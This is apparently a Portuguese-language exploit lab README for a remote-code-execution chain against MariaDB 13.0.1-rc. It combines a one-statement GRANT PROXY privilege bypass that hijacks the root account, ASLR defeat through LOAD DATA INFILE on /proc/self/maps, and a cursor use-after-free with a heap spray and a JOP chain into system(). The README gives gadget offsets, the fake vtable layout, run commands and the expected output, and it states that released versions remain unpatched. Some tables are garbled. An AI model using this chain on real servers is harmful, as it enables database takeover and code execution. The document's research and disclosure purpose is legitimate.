
MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + cadeia JOP para system() como uid 999(mysql) em imagem Docker padrão. Encontrado com RAPTOR e raptor-loop-hunt.
Execução remota de código na imagem Docker MariaDB 13.0.1-rc original, sem modificações, como uid 999 (mysql).
Duas variantes do exploit:
| Variante | Arquivo | Requisitos | Notas |
|---|---|---|---|
| SQL puro (recomendado) | exploit_pure_sql.py | uma conta MariaDB de baixo privilégio + TCP | sem acesso ao host, sem docker, sem /proc/mem, sem senha de root |
| PoC assistida pelo host | exploit.py | root no host Docker | escreve a cadeia JOP via /proc/<pid>/mem |
Testado e comprovado em: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 execuções, cada uma com bases ASLR novas).
exploit_pure_sql.py)O atacante possui apenas:
lowpriv do compose) + sua senha, eToda a cadeia é executada como instruções SQL; sem acesso a processos do lado do host, sem comandos docker, sem endereços conhecidos. Cada endereço em tempo de execução é descoberto a partir do próprio alvo via SQL:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> qualquer usuário vira DBA completo (conta root sequestrada, senha vazia).
Uma única instrução, sem privilégios necessários.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> leitura de arquivo no lado do servidor (privilégio FILE, secure_file_priv
não definido na imagem original) vaza a base do PIE e a base da libc =
derrota real do ASLR. As bases mudam a cada execução e são lidas
do processo vivo.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (variável de usuário de 128 MiB)
-> a glibc dedica uma região mmap (0x8001000, dados em +0x30).
Seu endereço é descoberto diffando /proc/self/maps antes/depois
da alocação - via SQL. Sem envolvimento de /proc/<pid>/mem.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> a cadeia JOP completa (D2, D1, system(), string de comando) é
escrita por SQL no momento da alocação. O ponteiro autorreferente
[V+0xa8] = V+0x140 é gravado usando o endereço encontrado no passo 3;
a glibc reutiliza exatamente o mesmo slot mmap quando o buffer é
realocado, então o endereço permanece estável (verificado a cada
iteração, regravado se algum dia mudar).
5. F-05 UAF do SYS_REFCURSOR + heap spray (spray128/grow5/uaf5, binário original)
-> o array de cursores liberado de 1792 bytes é recuperado com um
blob de 1784 bytes carregando V no offset 0x20; o despacho virtual
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executa o comando como uid 999(mysql).
6. Prova: o comando escreve um marcador; o servidor trava logo após system()
retornar (mariadbd é o PID 1 -> o contêiner sai). Reinicie o contêiner e
leia o marcador.
As únicas operações não-SQL restantes são tarefas pós-exploração: reiniciar o contêiner (já travado) e exibir o arquivo marcador — elas não fazem parte da exploração.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
Requer apenas um cliente mariadb/mysql e Python 3. --container é usado
para a exibição final do marcador (reiniciar + cat) e pode ser omitido se o
marcador for verificado de outra forma.
Saída final esperada:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' contorna todas as
verificações de privilégio. A cláusula de autenticação vazia faz LEX_USER::has_auth()
retornar false (pulando check_alter_user()), enquanto replace_user_table() ainda
aplica a senha vazia — substituindo as credenciais do root. Uma única instrução SQL,
qualquer usuário autenticado, todas as versões lançadas do MariaDB.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' lê o layout completo de memória do processo
mariadbd a partir do SQL, revelando os endereços base do PIE e da libc.
Funciona com secure_file_priv = NULL (não definido) na imagem original.
sp_cursor_array::get_cursor_by_ref() retorna um ponteiro interior para um
Dynamic_array cujo armazenamento de apoio é realocado por my_realloc durante o crescimento.
Quando o método open() de um cursor executa SQL controlado pelo atacante que abre
cursores adicionais, o array cresce, o armazenamento antigo é liberado e o
ponteiro em cache do chamador fica solto.
O bloco liberado (16 cursores x 112 bytes = 1792 bytes) é recuperado por um
heap spray de 128 cópias de variáveis de usuário com 1784 bytes cada (ajuste exato
para o bloco da glibc). O payload do spray coloca um ponteiro de vtable controlado
no offset 0x20 (o membro result de sp_cursor), que é subsequentemente usado
para despacho virtual:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = ponteiro de vtable do atacante (V)
-> call [rax + 0x20] ; chama o gadget D2 (slot da vtable de prepare())
Dois gadgets JOP do binário mariadbd original (sem ROP, sem pivô de pilha):
| Gadget | Offset | Instrução | Propósito |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | Correção de alinhamento de pilha |
| D1 | PIE+0xe3075b |
A vtable falsa V vive no buffer de 128 MiB; layout:
V+0x20 = D2 (slot da vtable de prepare())
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (ponteiro para a string de comando -> rdi)
V+0x100 = D1 (despachante JOP)
V+0x140 = "sh -c '<cmd>'\0"
O problema do ovo e da galinha de escrever dados JOP autorreferentes antes de saber o endereço do buffer é resolvido pelo comportamento de mmap da glibc:
/proc/self/maps/proc/self/maps; se o endereço algum dia
mudar, a autorreferência é regravada e a escrita é tentada novamente (na prática,
converge em uma iteração)Mesma cadeia, mas o layout JOP é escrito no processo via
/proc/<pid>/mem a partir do host Docker (requer root), o script de payload é
criado via docker exec, e a conexão usa a senha de root do arquivo compose.
Mantido como PoC histórica; a variante em SQL puro a substitui.
sql/sp_cursor.{cc,h} entre a tag 13.0.1 e o HEAD).dbd60d0ad8d, MDEV-40470) está em branches
de desenvolvimento, mas ausente em todas as versões lançadas (verificado da 13.0.1 até 10.6.27).SET GLOBAL max_allowed_packet é elevado primeiro e uma nova conexão é usada).DATA_OFF se algum dia for diferente).| Antigo auxiliar (exploit.py) | Substituição em SQL puro |
|---|
docker inspect → PID + /proc/<pid>/maps do lado do host | LOAD DATA INFILE '/proc/self/maps' |
gravações em /proc/<pid>/mem do lado do host para a cadeia JOP | layout embutido via CONCAT/UNHEX na alocação; endereço obtido pelo diff do maps via SQL; a reutilização do slot mmap mantém a autorreferência válida |
docker exec ... echo CMD > /tmp/payload_cmd.sh | string de comando embutida diretamente no layout JOP |
mariadb -uroot -plabpass (senha de root) | escalonamento via GRANT PROXY a partir da conta de baixo privilégio |
docker exec ... cat MARKER | usado somente para exibir a prova |
mov rdi,[rax+0xa8]; call [rax+0xa0] |
| Carrega o ponteiro do comando, chama system() |